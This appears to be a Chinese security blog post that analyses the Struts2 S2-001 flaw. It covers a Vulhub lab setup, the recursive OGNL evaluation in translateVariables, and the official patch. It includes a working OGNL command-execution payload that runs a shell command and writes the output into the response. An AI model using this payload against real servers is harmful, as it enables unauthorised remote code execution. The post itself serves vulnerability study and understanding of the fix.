Struct2 S2-001漏洞分析
前言
最近总算是入了Java
安全的门了,说到Java
的漏洞Spring,Weblogic,JBoss,Struct2,FastJson
等基本都是绕不过去的坎,这次我们试着来分析一下Struct2
的第一个洞,虽然有些年代感了,但还是比较经典的。网上大部分都是Poc
很少有人分析这个漏洞的成因,所以这次我们来试试。
<!--more-->
环境搭建
使用漏洞环境为:Vulhub/struct2/s2-001/
jdk
版本: 1.7.0_80
tomcat
版本: 8.5.55
P神的环境里面只有一个war
包,但作为漏洞分析我们肯定少不了调试的,百度了一下,基本没有给出一个war
包直接导出项目的办法,所以我们将war
包中的源码解压出来,在idea
重新创建一个Struct2
项目,将源码搬过去。当然.class
是不能直接搬过去的,因为是那个Java
编译好的代码,所以我们使用idea
的反编译,将反编译的源码带出即可,然后其他的.xml
之类的基本可以粘贴复制了,不过需要注意的是lib
包也要带出。
项目创建就直接:
然后一路next
下来即可,中间一些项目名之类的不需要多说了。
然后把war
包中的内容搬过来,还需要注意的是需要在项目结构中把库设置好:
这里设置成自己lib
的路径即可,不过好像需要放在web
目录下
最终项目结构如下:
简单POC:
%{7*7}
命令执行:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"id"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
具体怎么来的相信看payload
,就能知道大概了,主要是Ognl
支持创建变量,只是标识符为#
,
效果图:
这就完成一次简单的复现了,但重点是我们要明白漏洞成因,从这个简单POC
并且有研究过ssrf,spel注入
的同学,一定有点想法了。没错又双叒叕是动态渲染的锅,这里应该还是某种类型的表达式经过渲染,导致的代码执行。这里的漏洞成因,借用原项目的概述:
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
漏洞分析
首先从漏洞概述可以看出是参数如何处理的问题,先看登录控制器LoginAction.class
public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;
public LoginAction() {
}
public String getUsername() {
return this.username;
}
public String getPassword() {
return this.password;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public String execute() throws Exception {
if (!this.username.isEmpty() && !this.password.isEmpty()) {
return this.username.equalsIgnoreCase("admin") && this.password.equals("admin") ? "success" : "error";
} else {
return "error";
}
}
}
由于这里我们是在PassWord
注入的payload
,所以我们在getPassword
处打上断点,当jsp
调用getPassword
方法来获得密码框的值时,观察整体函数栈:
首先我们需要了解Struct2
里面是使用拦截器机制来处理请求:
参考文章:Struct2 拦截器
借用里面的图:
简单来说就是Struct2
接受到了页面请求之后,会交给StrcutsActionProxy
进行代理,然后这个代理类会分发给DefaultActionInvocation
进行具体处理,从函数栈来看是这样的:
这个时候只是获得用户输入参数,还没有进行jsp
的渲染,然后:
这里说生成Request
对象可能并不准确,但是可以这样理解。
然后继续看函数栈,随后在解析好对应的jsp
标签之后,会生成对应的Ognl
表达式,所以后面会出现使用Ognl
类的情况
最开始由于我们在jsp
中使用了模板渲染,因此头两个函数是解析到了模板语法的闭合,来分析值的问题,从evaluateParams
函数开始就是重头戏了,首先evaluateParams
会生成Ognl
表达式:
这里由于jsp
中的标签为:
<s:textfield name="password" label="password" />
自然需要找到的是password
的值,而寻找的方式是通过Ognl
表达式寻找,我们会发现这里expr = "%{+name+}";
使用拼接的方式生成Ongl
表达式,最后通过这个表达式去寻找对应的值,接着进入下一个translateVariables
:
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;
while (true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;
if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
// the variable doesn't exist, so don't display anything
result = left + right;
expression = left + right;
}
} else {
break;
}
}
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
这里我们注意到了启动了一个死循环,他具体的作用就是解析Ogrl
表达式,然后调用Object o = stack.findValue(var, asType);
去找到对应的值,还记得我们之前看拦截器对象时候的情况吗?我们传入的值被塞入一个Stack
里,因此这里我们会看到通过stack
去找值:
这里首先通过password
参数,找到了password
对应参数为%{7*7}
,然后又会解析一次,从而导致去寻找7*7
的值,这个时候循环并未结束,注意循环进行的条件:
if ((start != -1) && (end != -1) && (count == 0)) {
/*
* 进行查值并将结果重新赋值给result
* 进行下一次循环校验result格式,依然为Ongl表达式
* 进行下一次查值,直到结果不是Ongl表达式,即if不满足
*/
}else{
break;
}
从而这里实际上是实现的递归解析,所以这里自然可以注入恶意的Ognl
表达式了。
最后通过反射的invoke
方法进行返回,具体解析是通过OgnlUtil.getValue
进行的,实际上这个类最后调用的是抽象类Ognl
中的getValue
,具体实现细节就不去纠结了,总之最后调用:
动态解析得出值,最后返回给模板,然后又一次进行拦截器的相关操作,返回一个Respose
对象。
有关修复
我们来看看官方是如何修复这个问题的:
第一个地方,增加了递归深度的限制:
给定了一个最大递归深度,默认为1,而进行分析时,每进行一次循环将递归次数计数器加一,从而当进行第二次递归时,由于已经超过了最大递归深度了,所以退出。
第二个地方防止了用户输入的解析:
以前是直接使用对象进行递归,因为如果这里被注入了命令执行的代码,那么代码返回的一定是一个对象,现在会将对象先转化成为字符串进行递归了,让命令执行的代码对象因无法被转化成字符串而自动退出,从而杜绝了因为对象取值,所引起的动态解析问题。
最后总结一下,这个漏洞的触发点实际在于Struct2
将用户错误输入返回原页面,在传递值的过程中进行递归动态解析,不会返回到一个错误界面,而并非校验错误,因为常用的校验类Validation
,在实际调试的过程中没有抛出任何错误。,其次函数栈是个非常好的分析方法,只是要下对断点....
参考文章: